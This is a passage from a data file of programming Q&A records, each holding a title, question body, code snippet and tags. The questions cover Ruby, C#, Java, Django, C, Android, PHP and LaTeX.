regarding how to pick a bad thesis advisor. Just be sure you are clear whether you
are indicating how to pick a good or bad advisor!)\n\n", "", "soft-question
education"], "1145881": ["Nokogiri: Running into error \"undefined method \
u2018text\u2019 for nil:NilClass\"", "I'm a newbie to programmer so excuse my
noviceness. So I'm using Nokogiri to scrape a police crime log. Here is the code
below:\n\nI used the selector gadget bookmarklet to find the CSS selector for the
log (.brief). When I pass \"h3\" through brief.at_css I get all of the h3 tags with
the content inside.\nHowever, if I add the .text method to remove the tags, I get
NoMethod error.\nIs there any reason why this is happening? What am I missing?
Thanks!\n", "require 'rubygems'\nrequire 'nokogiri'\nrequire 'open-uri'\n\nurl
= \"http://www.sfsu.edu/~upd/crimelog/index.html\"\ndoc =
Nokogiri::HTML(open(url))\nputs doc.at_css(\"title\").text\
ndoc.css(\".brief\").each do |brief|\n puts brief.at_css(\"h3\").text\nend\n",
"ruby nokogiri"], "1276979": ["Sphinx Error when running searchd on windows (Failed
to parse config file )", "I am installing sphinx for my database. i am following
instructions from this article http://www.infotales.com/installing-sphinx-searc-on-
windows/ , and this video http://www.youtube.com/watch?v=8mDDEStuBes ,\nWhich look
straight forward and simple. But i have been running into a problem. I am using the
minimal config file, and have set up everything. When i run searchd --config
c:/sphinx/bin/sphinx.conf, i get an error \" failed to parse config file \", when i
just run searchd in cmd , i get \"no readable config file \". I don't know what to
do, i have been looking around for a similar problem but usually people have
this \" failed to parse config file error \" with other problems. Mine doesnt have
any additional errors.\nAny ideas?\nThanks. \nhere is my minimal config file
(called it sphinx.conf ):\n\n", "source users_info\n{\n type
= mysql\n\n sql_host = localhost\n sql_user
= root\n sql_pass = root123\n sql_db
= users\n sql_port = 3306 \n\n\n\n
sql_query = \\\n SELECT \\\n id,
fullname,username \n FROM \\\n
users_info;\n\n\n\n sql_query_info = SELECT * FROM users WHERE id=$id\
n}\n\n\n\n\n\n\nindex users_info\n{\n source = users_info\npath
= C:/sphinx/data/users_info\ndocinfo = extern\ncharset_type = utf-8\
n}\n\n\n\n\nindexer\n{\nmem_limit = 32M\n}\n\n\nsearchd\n{\n# listen
= 9312\nlisten = 9306:mysql41\nlog = C:/sphinx/log/searchd.log\
nquery_log = C:/sphinx/log/query.log\nread_timeout = 5\nmax_children
= 30\npid_file = C:/sphinx/log/searchd.pid\nmax_matches = 1000\
nseamless_rotate = 1\npreopen_indexes = 1\nunlink_old = 1\nworkers
= threads # for RT to work\nbinlog_path = C:/sphinx/data\n\n\n}\n", "sphinx
config"], "4392649": ["Drupal exposed view", "is there a way to not display any
results initially until the form has been submitted?\nAlso, I cant see where I can
override the exposed form\n", "", "php drupal views exposed"], "4982812": ["How to
architect a SAAS to serve several customers?", "UPDATE: I had asked this perfectly
valid question in two Startup forums and everyone was pointing me to StackOverflow
as its a highly technical question how to successfully architect such a system. To
my astonishment here in StackOverFlow my question gets closed. If its not allowed
to be answered here, where shall I ask it then, on facebook?\n\nRight now my
software has reached the demo stage with only one main user or lets call it
account. This main account is using several main tables and some lookup tables.
Therefore whatever data is stored within these main tables it is basically meant to
be for this one account.\nBut a SAAS is meant to serve many accounts and each one
obviously should only see its own data when opening the app.\nHow do I architect it
properly? So that when the customer logs in successfully he would get only to see
the data assigned to him and see only his colleagues from his company in a dropdown
list etc?\nShould each main table get a userId and a companyId column and all CRUD
queries should filter on that when inserting, deleting or selecting a row?\nMany
Thanks for your advice,\nKave\n", "", ".net sql-server-2008 entity-framework-4 ria
saas"], "108620": ["Returning object vs. reference in default constructor
signature", "Essentially, what's the difference between:\n\nand\n\nDoes the
function signature really matter? I don't think of Date& as a type like *Date, so
I'm not sure what difference this makes. Does it just prevent a copy from being
made on the return? But then wouldn't you return &dd?\n", "const Date&
default_date()\n{\n static Date dd(2001,Date::Jan,1);\n return dd;\n}\n", "c+
+ reference constructor default"], "1115033": ["How to make a primefaces dynamic
toolbar", "I'm working with PrimeFaces 3.1.1 since last week and it seems to be an
excellent visual component framework. I'm doing a migration from Richfaces and
trying to get everything working only with Prime and JSF2 (2.1.6 version). \nMy
problem comes with a dynamic toolbar I have to implement. Some of the operations
are integrated directly on the toolbar (commandButtons) and other operations have
some suboperations inside, so I have to do a menuButton with the operation name and
add every single operation here like a menuitem. Here is my code:\n\nMy problem is
I'm getting only the first operation components, it renders the commandButtons
correctly and their actions are working well, however in the case of \"#{!
opBean._Clickable}\" I get a menuButton with the name, but no menuitem inside. It
looks like the embeded ui:repeat iteration is not being well done. \nI have tried
the
same chance using c:foreach, c:choose and c:otherwise tags and in this case I get
the menus visually well done, commandButton actions are working well too, but when
I click in a menuItem it's saying that opBean2 is not recognized... However as I
have said before, I prefer to use JSF tags exclusively. Is there a way to do that?\
n", "<h:panelGroup id=\"Texto_Header\" layout=\"block\">\n <h:form>\n
<p:toolbar>\n <p:toolbarGroup>\n <!-- Operaciones
de aplicaci\u00f3n -->\n <ui:repeat value=\"#{logedBean._apps}\"
var=\"opBean\">\n <!-- OPERACION PRINCIPAL EJECUTABLE --
>\n <h:panelGroup rendered=\"#{opBean._Clickable}\">\n
<p:commandButton ajax=\"true\" value=\"#{opBean._Nombre}\"\n
action=\"#{opBean.actionOperationClick}\" />\n
</h:panelGroup>\n <!-- OPERACION PRINCIPAL CON
SUBOPERACIONES -->\n <h:panelGroup rendered=\"#{!
opBean._Clickable}\">\n <p:menuButton
value=\"#{opBean._Nombre}\">\n <ui:repeat
value=\"#{opBean._subOperaciones}\" var=\"opBean2\">\n
<p:menuitem ajax=\"true\" value=\"#{opBean2._Nombre}\"\n
actionListener=\"#{opBean2.actionOperationClick}\" />\n
</ui:repeat>\n </p:menuButton>\n
</h:panelGroup>\n </ui:repeat>\n
</p:toolbarGroup>\n </p:toolbar>\n </h:form>\n
</h:panelGroup>\n", "java jsf-2.0 primefaces"], "2205595": ["List of radiobuttons
binded to an enum", "I have an enum in a ViewModel called MyEnum, the ViewModel has
a property of type MyEnum and I want a list of radiobuttons to take this enum's
values in my xaml view, using any binding to the property. So each radio button is
binded to a specific and unique enum value. How could I do this??\nThank you!!\n",
"", "binding"], "3213567": ["GXT Grid ListStore - get unmodified Records", "I have
a Grid whch allows a user to update columns (i.e. properties in a ModelData).\nIs
there a way for me to see the un-modified record (i.e. ModelData)?\nWhen the user
clicks a 'Commit' button:\nI can use List modifiedRecords =
listStore.getModifiedRecords(); for modified records.\nI can use Map
changedFieldsMap = modifiedRecord.getChanges(); to see the columns that have
changed but I can't see what the unchanged values are... can I?!?!\n~richard\n",
"", "sencha gxt"], "5099467": ["How to implement Pause & Resume functionality with
BackgroundWorker c#", "i want to implement pause resume and cancel functionality
with BackgroundWorker. i have a one user control and all backgroundworker related
code written in user control. i just add user control on flow layout control as
many as time user click on buttons. i am fail to impelement\nPause & Resume
functionality with ManualResetEvent but anyway i am not being able to do it. so
here i am pasting my user control class related code and my form code.\n\nhere i am
attaching pic of mu UI how it looks.\n\n", "public partial class ucBackgroundWorker
: UserControl\n{\n System.ComponentModel.BackgroundWorker bgWorker = null;\n
public event Action<string, EventArgs> Done;\n public event Action<string,
EventArgs> Cancel;\n private static bool m_continue = true;\n private
ManualResetEvent _resetEvent = new ManualResetEvent(false);\n //Semaphore
sWaiter = new Semaphore(0, 1);\n\n public ucBackgroundWorker()\n {\n
InitializeComponent();\n bgWorker = new
System.ComponentModel.BackgroundWorker();\n
bgWorker.WorkerSupportsCancellation = true;\n bgWorker.WorkerReportsProgress
= true;\n bgWorker.DoWork += new
DoWorkEventHandler(backgroundWorker1_DoWork);\n bgWorker.RunWorkerCompleted
+= new RunWorkerCompletedEventHandler(backgroundWorker1_RunWorkerCompleted);\n
bgWorker.ProgressChanged += new
ProgressChangedEventHandler(backgroundWorker1_ProgressChanged);\n }\n\n
public void Run(int counter)\n {\n if (!bgWorker.IsBusy)\n {\n
bgWorker.RunWorkerAsync(counter);\n }\n _resetEvent.Set();\n }\n\n
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)\n {\n
int input = int.Parse(e.Argument.ToString());\n\n
this.BeginInvoke((MethodInvoker)delegate\n {\n lblStatus.Text
= \"Running\";\n });\n\n for (int i = 1; i <= input; i++)\n {\
n _resetEvent.WaitOne();\n Thread.Sleep(500);\n
(sender as System.ComponentModel.BackgroundWorker).ReportProgress(i * 10);\n
if ((sender as System.ComponentModel.BackgroundWorker).CancellationPending)\n
{\n this.BeginInvoke((MethodInvoker)delegate\n {\n
lblStatus.Text = \"Cancel\";\n });\n\n e.Cancel =
true;\n return;\n }\n }\n
Thread.Sleep(1000);\n }\n\n\n // This event handler deals with the results of
the \n // background operation. \n private void
backgroundWorker1_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)\
n {\n // First, handle the case where an exception was thrown. \n
if (e.Error != null)\n {\n MessageBox.Show(e.Error.Message);\n
}\n else if (e.Cancelled)\n {\n if (Cancel != null)\n
Cancel(this.Name, EventArgs.Empty);\n }\n else\n {\n
this.BeginInvoke((MethodInvoker)delegate\n {\n
lblStatus.Text = \"Done\";\n });\n\n if (Done != null)\n
Done(this.Name, EventArgs.Empty);\n }\n _resetEvent.Reset();\n }\
n\n // This event handler updates the progress bar. \n private void
backgroundWorker1_ProgressChanged(object sender, ProgressChangedEventArgs e)\n
{\n pBar.Refresh();\n pBar.Value = e.ProgressPercentage;\n }\n\n
private void btnCancel_Click(object sender, EventArgs e)\n {\n if
(bgWorker.IsBusy)\n {\n bgWorker.CancelAsync();\n }\
n }\n\n private void btnPause_Click(object sender, EventArgs e)\n {\n
if (bgWorker.IsBusy)\n {\n if (btnPause.Text.ToUpper()
== \"PAUSE\")\n {\n btnPause.Text = \"Resume\";\n
m_continue = false;\n _resetEvent.Reset();\n }\n
else if (btnPause.Text.ToUpper() == \"RESUME\")\n {\n\n
btnPause.Text = \"Pause\";\n m_continue = true;\n
_resetEvent.Set();\n\n }\n }\n }\n}\n\n public partial
class Form3 : Form\n {\n ucBackgroundWorker ucBgWorker = null;\n\
n public Form3()\n {\n InitializeComponent();\
n }\n\n private void btnStart_Click(object sender, EventArgs
e)\n {\n ucBgWorker = new ucBackgroundWorker();\n
ucBgWorker.Done += new Action<string, EventArgs>(Worker_Done);\n
ucBgWorker.Cancel += new Action<string, EventArgs>(Worker_Cancel);\n
flowLayoutPanel1.Controls.Add(ucBgWorker);\n ucBgWorker.Run(10);\n
}\n\n void Worker_Done(string arg, EventArgs evtarg)\n {\n
label1.Text =arg + \" Done One\";\n
//System.Threading.Thread.Sleep(1000);\n }\n\n void
Worker_Cancel(string arg, EventArgs evtarg)\n {\n
label1.Text = arg + \" Cancel Click\";\n
//System.Threading.Thread.Sleep(1000);\n }\n\n }\n", "c#
backgroundworker manualresetevent"], "2187015": ["c: memory allocation (what's
going on)", "Please take a look at this piece of code. I'm allocating one byte for
the first variable and another byte for the second one. However, it seems like the
compiler allocates more (or I'm missing something). The program outputs both
strings, even though their length is more the one byte. \n\nPlease, could anyone
spot some light on what's going on when memory is being allocated.\n", "void main()
{\n char* some1 = malloc(1);\n sprintf(some1,\"cool\");\n char* some2 =
malloc(1);\n sprintf(some2,\"face\");\n printf(\"%s \",some1);\n
printf(\"%s\\n\",some2);\n}\n", "c memory-allocation"], "1776505":
["onActivityResult crash \"Failure delivering result\"", "I have a FileBrowser
activity that I got from AndDev site. The problem is that it stopped working and it
crashes, here is the logcat:\n\nHere is what I do once the user chose the folder he
wants:\n\nAnd on the caller activity:\n\nWhy is the FC happening? \nEDIT1:
dirSize() :\n\n", "07-05 11:20:35.803: ERROR/AndroidRuntime(14706): FATAL
EXCEPTION: main\n07-05 11:20:35.803: ERROR/AndroidRuntime(14706):
java.lang.RuntimeException: Failure delivering result ResultInfo{who=null,
request=1, result=-1, data=Intent { (has extras) }} to activity
{omar.quran1/omar.quran1.DataDownload}: java.lang.NullPointerException\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.app.ActivityThread.deliverResults(ActivityThread.java:2536)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.app.ActivityThread.handleSendResult(ActivityThread.java:2578)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.app.ActivityThread.access$2000(ActivityThread.java:117)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.app.ActivityThread$H.handleMessage(ActivityThread.java:965)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.os.Handler.dispatchMessage(Handler.java:99)\n07-05 11:20:35.803:
ERROR/AndroidRuntime(14706): at android.os.Looper.loop(Looper.java:130)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.app.ActivityThread.main(ActivityThread.java:3687)\n07-05 11:20:35.803:
ERROR/AndroidRuntime(14706): at java.lang.reflect.Method.invokeNative(Native
Method)\n07-05 11:20:35.803: ERROR/AndroidRuntime(14706): at
java.lang.reflect.Method.invoke(Method.java:507)\n07-05 11:20:35.803:
ERROR/AndroidRuntime(14706): at
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:842)\
n07-05 11:20:35.803: ERROR/AndroidRuntime(14706): at
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:600)\n07-05 11:20:35.803:
ERROR/AndroidRuntime(14706): at dalvik.system.NativeStart.main(Native Method)\
n07-05 11:20:35.803: ERROR/AndroidRuntime(14706): Caused by:
java.lang.NullPointerException\n07-05 11:20:35.803: ERROR/AndroidRuntime(14706):
at omar.quran1.DataDownload.dirSize(DataDownload.java:387)\n07-05 11:20:35.803:
ERROR/AndroidRuntime(14706): at
omar.quran1.DataDownload.CheckIfFilesAlreadyExist(DataDownload.java:372)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
omar.quran1.DataDownload.onActivityResult(DataDownload.java:310)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.app.Activity.dispatchActivityResult(Activity.java:3908)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): at
android.app.ActivityThread.deliverResults(ActivityThread.java:2532)\n07-05
11:20:35.803: ERROR/AndroidRuntime(14706): ... 11 more\n", "android file
activity crash"], "691157": ["How to force DataGridView to re-populate its rows
using IQueryable<TEntity>", "\nWhen I assign Entities to TestDataGridView's
DataSource directly; I don't have to do anything to reflect my changes to the
grid.\n\nThis is more than enough to see the change in the TestDataGridView. One
exception I encountered was that if I add another row to the TestContext using ,
it doesn't show up in the grid (contrary to deleting it) but I got it working using
the BindingSource's Add method.\n\nNow the only obstacle left in my way is this:\
nIf I use filtering - like - use it as DataSource to my grid, then change the
first record's Active property to false, how do I refresh/reload the grid to
reflect this without creating another instance of BlaEntities?\n\nI see it is not
active anymore in grid but since the grid should show only the active records, how
can I remove it from the grid without removing it from the source?\n\nWhen I
iterate over , I can see that the isn't there anymore but I still can see and edit
it in the grid. So what I need is something forces grid to iterate its DataSource
(which is FilteredEntities) as well and populate itself again\nI tried calling 's
method and 's reset methods.\nI tried changing to , then changing it back to
hoping to re-populate the rows, didn't work either.\nIt works if I save my changes
using and use another instance of like but I need to use my current instance.\n\
nSo the question is, how can I make the TestGridView to reload its contents using
FilteredEntities.\nAny advice would be greatly appreciated. Thank you.\n",
"BlaEntities TestContext = new BlaEntities();\nIQueryable<TestEntity> Entities =
TestContext.TestEntity;\nTestDataGridView.DataSource = Entities;\n", "c# entity-
framework gridview datagridview"], "5584445": ["Django inline formset validation
passes but no objects are saved", "I have this form:\n\nall the fields are
required. \nTo make everything more complicated this model has unique_together
condition:\n\nso saving empty form like this:\n\nShould defenately fail - yet does
not. Queryset that gets posted is :\n\nand it comes out clean, even though all the
important fields are empty : [u'']. So one would think that if it validates - it
also saves succesfully... But it does not. No records can be found in database.
other than the records created by form - which validates and saves just fine. \
nUpdate:\nfound similar question which is also unanswered and it seems to be
exactly the same problem:\nMake inlineformset in django required\nI created
testscript for myself to use in shell and it brings up all the same results:\n\
nUpdate2:\nDjango formsets: make first required? accepted answere here says why the
errors are not raised - apparently form has to have empty_permited set to False.\
n", "class ServiceTargetForm(forms.ModelForm):\n class Meta:\n model =
ServiceTarget\n fields=('target_type', 'target_value', 'target_threshold')\
n", "django django-forms django-modelformsets inline-formset"], "4993601": ["Scala:
companion object purpose", "\nPossible Duplicate:\nWhat is the rationale behind
having companion objects in Scala? \n\nThanks for all responses to my previous
post( Scala: companion objects and \"new\" keyword). I would like to ask you what
is the general purpose of a companion object in Scala?\nFirstly, could we not have
included all the methods, such as apply, in the forms of contructor/method
definition on the class itself?\nFurthermore, what is the point of a companion
Boolean object, as it does not even define apply method?\nThanks again in advance
for all your responses. \n", "", "class scala object"], "638461": ["How to
interrupt a running Batch file, execute a command in its environment, then
continue?", "I'm aware that I can interrupt a running batch file witch Crtl-C, and
then continue the execution.\nHowever, is it possible to execute a command in the
batch file's cmd environment while the batch is paused?\nFor example, I might want
to pause a running batch, change some variables it has SET previously, then
continue the execution.\n", "", "windows batch"], "1274024": ["Zlib: What is the
difference between inflating, encoding, and compressing a string?", "\nPossible
Duplicate:\nWhich compression method to use in PHP? \n\nIt seems that PHP has many
functions for making smaller strings out of strings. These functions are called
inflate/deflate, encode/decode, and compress/uncompress. Some of them seem
compatible with each other, as all are base on the library. What is the
differences between them, and when to use each?\n", "zlib", "php compression"],
"3940391": ["how to validate username and password in vb6?", "i have created a
database in mysql5.0. i want to display the data from it. it has table named login.
it has 2 columns username and password. in form i have 2 text fields username and
password i just want to validate input with database values and display message
box. connection from vb to database is established successfully. but its not
validating input. its giving error as 'object required'. please any body help i'm
new to vb.\ni'm using vb6 and mysql5.0\nthank you\n", "", "mysql vb6"], "2780324":
["Calling Custom Android Keyboard in my application", "I have searched the net
quite a bit and haven't found a single resource that can help me call my custom
keyboard in my application. I am using the android/sdk examples/soft keyboard and
have commented out the first row of keys in the qwerty.xml file for testing
purposes.\nI have tried making changes in the AndroidManifest.xml but still can't
call my custom keyboard. Any help in this regard will be helpful.\n\nThanks for
your help!\n", "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
package=\"com.android.artoo\" android:versionCode=\"1\"\n
android:versionName=\"1.0\">\n <application android:icon=\"@drawable/icon\"
android:label=\"Virtual Keyboard\">\n <activity android:name=\".MainActivity\"
android:label=\"Virtual Keyboard\"\n
android:windowSoftInputMode=\"adjustResize\">\n <intent-filter>\n <action
android:name=\"android.intent.action.MAIN\" />\n <category
android:name=\"android.intent.category.LAUNCHER\" />\n </intent-filter>\n
</activity>\n <service android:name=\".SoftKeyboard\"
android:permission=\"android.permission.BIND_INPUT_METHOD\">\n <intent-filter>\n
<action android:name=\"android.view.InputMethod\" />\n </intent-filter>\n
<meta-data android:name=\"android.view.im\" android:resource=\"@xml/method\" />\n
</service>\n </application>\n <uses-sdk android:minSdkVersion=\"4\"></uses-sdk>\n\
n</manifest>\n", "android keyboard"], "3444585": ["Memory efficient way to store
boolean information for around 10000 variables with dynamic allocation", "I need to
store boolean information for around 10000 variables. First I thought of using a
bool array arr[10000] but it takes 40000 bytes. But I need to store this
information in a memory efficient way. Maybe using bit manipulation? Also another
thing that I need to store it globally and allocate it dynamically also. Can you
please help me with this?\n", "", "c++ c memory-management"], "144707": ["How to
compile a LaTeX document?", "Up until now, I've just been using LyX for all my
LaTeX needs. Now I have a file and I need to compile it (turn to pdf). How do I do
this on Windows XP? Obviously I have LaTeX installed (MikTeX).\n", ".tex",
"compiling windows"], "4453050": ["Ajax Database example from w3schools jquery
driven", "Hello i need the code from
http://www.w3schools.com/ajax/ajax_database.asp rewritten in jquery(if possible)
but more important for my project is on load the first customer to be already
gathered from the db and eliminate the Please select option.\nAnybody could help me
please .. I'm trying to do a kind of select sort/filter based on this example for
my website,\nThank you\n", "", "jquery ajax jquery-ajax lazy"], "2348581":
["Misalignment in custom big symbol using mathop", "Following the advice of this
question, I created the \\itsep symbol:\n\nWhen used with single character
sub/super-scripts, it displays properly, like this:\n\n\nIf I place multiple
characters in the sub-script the symbol behaves incorrectly:\n\n\nIs there a way
to make this symbol truly behave like \\sum or \\bigwedge where the \"big\" symbol
is centered over the subscript and centered under the superscript?\n", "\\
newcommand{\\itsep}{\\mathop{\\scalebox{1.5}{\\raisebox{-0.2ex}{$\\circledast$}}}}\
n", "horizontal-alignment symbols"], "2216480": ["How can I color my code on Stack
Overflow when posting an answer?", "How can I color my code on Stack Overflow when
posting an answer? How should I format my code?\n", "", "colors
stackoverflow.com"], "2473339": ["How do I provide designer support to a TabControl
residing in a UserControl, so that I can drag/drop controls onto tab pages?", "I
have a user control, which contains both a Panel and a TabControl. I enabled
design-time support for both. I can drag/drop controls from the toolbox onto the
Panel control that resides within the user control. I can also add and remove tab
pages via the designer on the TabControl. However, I am not able to drag/drop any
controls onto the tab pages themselves.\nBelow is the code generated source code
for my user control:\n\nBelow is the source code I added to enable design-time
support:\n\nWhat do I need to do, so that I can drag/drop controls onto the tab
pages of the TabControl?\n", "partial class TestUserControl\n{\n private
System.ComponentModel.IContainer components = null;\n\n protected override void
Dispose(bool disposing)\n {\n if (disposing && (components != null))\n
{\n components.Dispose();\n }\n base.Dispose(disposing);\n
}\n\n #region Component Designer generated code\n\n private void
InitializeComponent()\n {\n this.tabControl = new
System.Windows.Forms.TabControl();\n this.contentPanel = new
System.Windows.Forms.Panel();\n this.SuspendLayout();\n // \
n // tabControl\n // \n this.tabControl.Dock =
System.Windows.Forms.DockStyle.Fill;\n this.tabControl.Location = new
System.Drawing.Point(0, 0);\n this.tabControl.Name = \"tabControl\";\n
this.tabControl.SelectedIndex = 0;\n this.tabControl.Size = new
System.Drawing.Size(306, 118);\n this.tabControl.TabIndex = 0;\n // \
n // contentPanel\n // \n this.contentPanel.Dock =
System.Windows.Forms.DockStyle.Bottom;\n this.contentPanel.Location = new
System.Drawing.Point(0, 118);\n this.contentPanel.Name = \"contentPanel\";\n
this.contentPanel.Size = new System.Drawing.Size(306, 73);\n
this.contentPanel.TabIndex = 0;\n // \n // TestUserControl\
n // \n this.AutoScaleDimensions = new System.Drawing.SizeF(6F,
13F);\n this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n
this.Controls.Add(this.tabControl);\n this.Controls.Add(this.contentPanel);\
n this.Name = \"TestUserControl\";\n this.Size = new
System.Drawing.Size(306, 191);\n this.ResumeLayout(false);\n\n }\n\n
#endregion\n\n private System.Windows.Forms.TabControl tabControl;\n private
System.Windows.Forms.Panel contentPanel;\n}\n", "winforms usercontrols designer
windows-forms-designer design-time"], "5308778": [".NET MenuItem.IsSubmenuOpen =
true only works the first time", "I have a ContextMenu with some sub-menus that
have items (MenuItem) that can be selected. When the ContextMenu is opened, I want
to recursively open the currently selected item. So, I have the following code:\n\
nI also have some other code that ensures that only one item is checked.\nThis
seems to work great the first time I select an item in a sub-menu. When I re-open
the ContextMenu, the open sub-menus cascade open to the selected item:\n\nHowever,
when I leave the context menu, and re-open it a second time, the selected menu does
NOT open:\n\nDoes anyone know why and how to fix it?\n", " protected override
void OnOpened( RoutedEventArgs e ) {\n base.OnOpened( e );\n
OpenCurrentSubMenu( Items );\n }\n\n private static bool
OpenCurrentSubMenu( ItemCollection itemCollection ) {\n foreach (MenuItem
item in itemCollection) {\n if (item.IsChecked) {\n
return true;\n }\n else
if( OpenCurrentSubMenu( item.Items ) ) {\n item.IsSubmenuOpen =
true;\n return true;\n }\n }\n return
false;\n }\n", "c# .net contextmenu submenu"], "2315193": ["Installing PHP
5.4.11 on CentOS 6.3", "I have on my server, Since this version of is vulnerable
now trying to upgrade to but the default repository of does not have so can not
detect the newer version.\nI then installed repository on my server \n\nThese
command installed repository successfully\nNow the command to upgrade PHP \n\nBut
it fails with below error message\n\nIf i try the same error message \nBasically
after installing these repositories is not working, but yum was working earlier.\
nIf I remove these repository and try it works without any error.\nHow can I have
upgraded to version?\nEDIT\nAs @Michael Suggests I ran \n\nStill the same error\
nEDIT 2\nContent of \n\nInternet connection is working well, I checked with \n\
nEDIT 3\nAs @Michael Suggests I ran \n\nAnd It ended up with the following error \
n\nSo, the actual issue is with SSL certificate but why it is complaining about SSL
certificate however it is valid one \n", "PHP 5.3.3", "php centos yum"], "259986":
["Box2d - spawning bodies ontop of eachother", "is it possible to spawn objects in
the same location, but make their bodies not join together? \nBasically i have a
bunch of b2bodies that i spawn at a given time, and i need them to bounce off each
other rather than stick to each other..\nSo this would create a sort of explosion
of the created bodies because they repel against each\nother. \nAnyone have any
ideas? \nIs this possible with box2d? \n", "", "c++ objective-c cocos2d cocos2d-
iphone box2d"], "1813151": ["SSIS FTP Task Retry when FTP server is not available",
"I have a simple SSIS package that pulls data from a database and creates a file.
This file then is FTP'd to another server. I ran into a problem where the FTP
server was not available and the package failed without ever sending the file. I
would like to be able to have the package continue to attempt the connection until
the server comes back up and the FTP can be successful.\nDoes anyone have an ideas
as to how I could make this occur? Thanks in advance for any help that can be
provided.\nJames\n", "", "ftp ssis retry unavailable"], "666262": ["Scroll to
bottom of listbox wp7", "I have many items(0-100) end need to scroll to the bottom
of Listbox which contains it.I tried:\n\nbut this doesn't workds for me.The
scrollviewer wraps the listbox and textbox.(listbox vertical scroll in disabled
state).\nUPD xaml: \n\nand cs:\n\n",
"ScrollViewer.SetVerticalScrollBarVisibility(listmy, ScrollBarVisibility.Auto);\n
listmy.SelectedItem = listmy.Items.Count-1;\n
listmy.ScrollIntoView(listmy.SelectedItem);\n
ScrollViewer.SetVerticalScrollBarVisibility(listmy, ScrollBarVisibility.Disabled);\
n", "c# silverlight windows-phone-7 listbox scrollviewer"], "2216481": ["receive
scroll direction, power ios", "I have a view that changes if users scrolls it.\nI
need something to read user's scroll data (direction, force etc.) like UITableView
does it.\nif user touches screen and moves finger to the upwards view need to
recieve scroll datas to call redraw method.\nHow can I receive scroll data?\n", "",
"iphone objective-c uitableview uiview touch"], "2958773": ["Innodb table is
corrupt when doing mysqlcheck but mysql server does not crash now or upon restart",
"I have a database that has InnoDB tables in it, and one of the InnoDB tables is
marked as corrupt (and I know data is missing, etc.). However, when I restart
MySQL, it doesn't crash. \nI expected it to crash, however it doesn't . ( I read
before that if innodb table is corrupted, mysql server will be stopped ) \nshould
it not be crashing now?\ninnodb is my default db engine.\n", "", "mysql innodb
corruption"], "2215693": ["How to prove that the $L^p$ spaces are infinite
dimensional", "It is well-known that (given a measure space $(S,\\mathcal A,\\mu)$
and $1\\le p\\le\\infty$) the Banach space $L^p(S,\\mathcal A,\\mu)$ has infinite
dimension.\nIs there an easy way to proof this statement (or a suitable reference
(preferably a book) where I can find this result)?\n", "", "reference-request
functional-analysis measure-theory banach-spaces"], "604258": ["Django - Map a
OneToOneField to radio buttons on the admin interface", "I have the following:\n\
nThis will generate a drop down list in the admin interface for having all the
items in , and the validation will make sure the selected item is actually
referring back to .\nInstead of having a drop down list in the admin interface, how
can I have radio fields against each entry in that will map the selected item to
value?\nThis way it will be easier to choose the item (instead of looking up it's
name and selecting from the drop down list), and the user will not be able to
choose any item that does not belong to .\n", "class A(models.Model):\n true_b =
models.OneToOneField('B', related_name='is_true')\n\n def save(self, *args,
**kwargs):\n if self.true_b not in self.b_set.all():\n raise
ValueError('True_b has to be among those B that refer to this A')\n super(A,
self).save(*args, **kwargs)\n\nclass B(models.Model):\n a =
models.ForeignKey(A)\n ...\n @property\n def is_true(self):\n
return a.true_b == self\n", "django django-admin"], "634776": ["WAMP Stack
PHP \"Fatal error: Class 'SoapClient' not found\"", "I have a WAMP (windows (7),
apache, mysql, php) stack all setup and running.
All is well and it is working and running as expected. I use the machine primarily
for development however it is accessible to the outside world. Anyways..\nI
recently come cross a client with a pre-existing SaaS product where cURL, SOAP, and
the like are used. I drop there system onto my server and a bit of jumping around
to set it up, get it setup, start plugging away at things to only come across a
section where I am getting\n\nFatal error: Class 'SoapClient' not found\n\
nNaturally my first jump was i forgot to uncomment \n\nextension=php_soap.dll\n\
nWhich was true, so I did un-comment it, save the file, then restart the server.
However the problem still exists (so I tried even rebooting), now I am stuck as I
am not a guru with WAMP/LAMP stacks and configuring them I can only just get around
them as needed til now.\n", "", "php soap windows-7 wamp"], "1213657": ["How to get
text cursor position using javascript", "this is my code ,i fill space all in div ,
(use jquery):\n\nso how can i get the text cursor position when i click somewhere
in 'a2' div \nthe demo is http://jsfiddle.net/KBnKc/ \nthanks\n", "<div id=\"a\"
style=\"position:absolute;top:300px;width:100px;height:100px;background:red;color:b
lack;word-wrap:break-word;\">\n <div id='a2' contenteditable=true
></div>\n</div>\n<script type=\"text/javascript\">\n String.prototype.repeat =
function(n) {\n return new Array(1 + parseInt(n, 10)).join(this);\n }\n\n
var s=$('#a').width()/4*$('#a').height()/19;\n $('#a2').html('&nbsp;'.repeat($
('#a').width()/4*parseInt($('#a').height()/19)))\n\n $('#a2').click(function(){\
n alert('sss')\n })\n\n</script>\n", "javascript cursor position"],
"4379608": ["Matrix xmpp SDK in windows phone mango, want to notify the user for
new chat message even if app is running in background", "i am using MatriX xmpp
library for chatting purpose.it works fine when my application is running in
foreground. i want to notify the user for new chat message even if my application
is in background.is it possible?as per below link it may be possible.but i don't
know how to do this??\nhttp://www.ag-software.de/2011/05/25/windows-phone-mango/\
nplease let me know if anyone has solution to this question.\n", "", "c# matrix
xmpp windows-phone-7.1"], "5151902": ["Force users to complete their profile after
they register? How to", "I am making a custom (quick) registration page in my
wordpress site, to let users to register quickly by just filling username-email and
choose their password.\nI have , \n\nwhat i need to achieve is to redirect users
after they register to that page ()\n\nNo activation should be needed for
registration.\nThen users must fill in and complete all profile data, before they
